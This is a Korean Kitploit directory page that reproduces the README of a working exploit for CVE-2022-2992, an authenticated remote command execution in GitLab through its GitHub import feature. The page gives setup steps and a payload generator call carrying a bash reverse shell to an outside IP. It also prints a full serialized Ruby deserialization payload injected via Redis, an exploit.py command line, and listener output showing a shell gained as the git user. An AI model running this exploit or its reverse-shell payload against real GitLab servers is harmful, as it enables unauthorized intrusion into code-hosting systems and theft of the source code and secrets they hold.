Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-2992 — GitHub 가져오기를 통한 Gitlab의 인증된 원격 명령 실행. | Kitploit
도구/GitHubGitHub/malwareman007/cve-2022-2992
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubmalwareman007/cve-2022-2992

CVE-2022-2992

GitHub 가져오기를 통한 Gitlab의 인증된 원격 명령 실행.

저장소 보기
813년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-2992

GitLab에서 GitHub 가져오기를 통한 인증된 원격 코드 실행.

GitLab CE/EE의 11.10부터 15.1.6 이전의 모든 버전, 15.2부터 15.2.4 이전의 모든 버전, 15.3부터 15.3.2 이전의 모든 버전에 영향을 주는 취약점으로, 인증된 사용자가 GitHub에서 가져오기 API 엔드포인트를 통해 원격 코드 실행을 달성할 수 있습니다.

https://about.gitlab.com/releases/2022/08/30/critical-security-release-gitlab-15-3-2-released/#remote-command-execution-via-github-import

사전 요구 사항

  • Ngrok
  • Ruby
  • Redis
  • Python3
  • Flask
root@kitploit:~
sudo apt install ruby python3 python3-pip
gem install redis 
pip install flask

단계

  1. ./ngrok http 5000을 실행하고 URL을 저장합니다.
  2. 이제 직렬화된 페이로드를 생성하려면 payload_gen.rb를 실행하고 페이로드를 저장합니다. 아래는 예시입니다:
root@kitploit:~
ruby payload_gen.rb 'bash -c "sh -i >& /dev/tcp/172.16.128.129/443 0>&1"'
  1. server.py에서 NGROK_URL 및 PAYLOAD 변수를 적절히 업데이트합니다. 아래는 예시입니다:
root@kitploit:~
PAYLOAD = 'ggg\r\n*3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:gggg\r\n$359\r\n\u0004\b[\bc\u0015Gem::SpecFetcherc\u0013Gem::InstallerU:\u0015Gem::Requirement[\u0006o:\u001cGem::Package::TarReader\u0006:\b@ioo:\u0014Net::BufferedIO\u0007;\u0007o:#Gem::Package::TarReader::Entry\u0007:\n@readi\u0000:\f@headerI\"\baaa\u0006:\u0006ET:\u0012@debug_outputo:\u0016Net::WriteAdapter\u0007:\f@socketo:\u0014Gem::RequestSet\u0007:\n@setso;\u000e\u0007;\u000fm\u000bKernel:\u000f@method_id:\u000bsystem:\r@git_setI\"8bash -c \"sh -i >& /dev/tcp/172.16.128.129/443 0>&1\"\u0006;\fT;\u0012:\fresolve'
NGROK_URL = 'https://dc09-41-01-99-69.in.ngrok.io'
  1. GitLab에서 사용자에 대한 액세스 토큰을 생성하고 모든 범위를 선택합니다. 문서는 여기를 참조하십시오.
  2. 마지막으로 exploit.py를 실행합니다.

참고: 실행하기 전에 ngrok와 flask 서버가 실행 중인지 확인하십시오.

root@kitploit:~
python3 exploit.py -a lunpy-AMEuQE66KcUtNhcharjm5 -u https://dc09-41-01-99-69.in.ngrok.io -t http://gitlab.example
  • 포트 443에서 셸을 돌려받습니다.
root@kitploit:~
➜ CVE-2022-2992: nc -nlvp 443
listening on [any] 443 ...
connect to [172.16.128.129] from (UNKNOWN) [172.16.128.180] 40270
sh: 0: can't access tty; job control turned off
$ id
uid=998(git) gid=998(git) groups=998(git)

각 창에서의 예상 출력:

  • Ngrok
root@kitploit:~
POST /vakzz/public.git/git-upload-pack 200 OK
GET  /vakzz/public.git/info/refs       200 OK
GET  /api/v3/repos/fake/name           200 OK
GET  /api/v3/repositories/12345        200 OK
GET  /api/v3/rate_limit                200 OK
GET  /api/v3/rate_limit                200 OK
  • Exploit
root@kitploit:~
[1] Creating Group
[+] Successfully created group: qogjohpykk
[2] Running flask server
[3] Importing Github Repo
 * Serving Flask app "server" (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
127.0.0.1 - - [08/Oct/2022 23:46:03] "GET /api/v3/rate_limit HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:03] "GET /api/v3/rate_limit HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:03] "GET /api/v3/repositories/12345 HTTP/1.1" 200 -
201
127.0.0.1 - - [08/Oct/2022 23:46:04] "GET /vakzz/public.git/info/refs?service=git-upload-pack HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:04] "POST /vakzz/public.git/git-upload-pack HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:04] "GET /api/v3/repos/fake/name HTTP/1.1" 200 -
[4] Triggering Payload
[+] Command was executed

환경

  • GitLab 15.3.1 Enterprise Edition에서 테스트됨
  • 자체 테스트 환경을 구축하려면 data 디렉터리를 Linux VM의 /에 복사하십시오.
  • build.sh를 실행하여 환경을 설정하십시오.

크레딧

  • https://hackerone.com/reports/1679624 (vakzz)
  • https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
도구 다운로드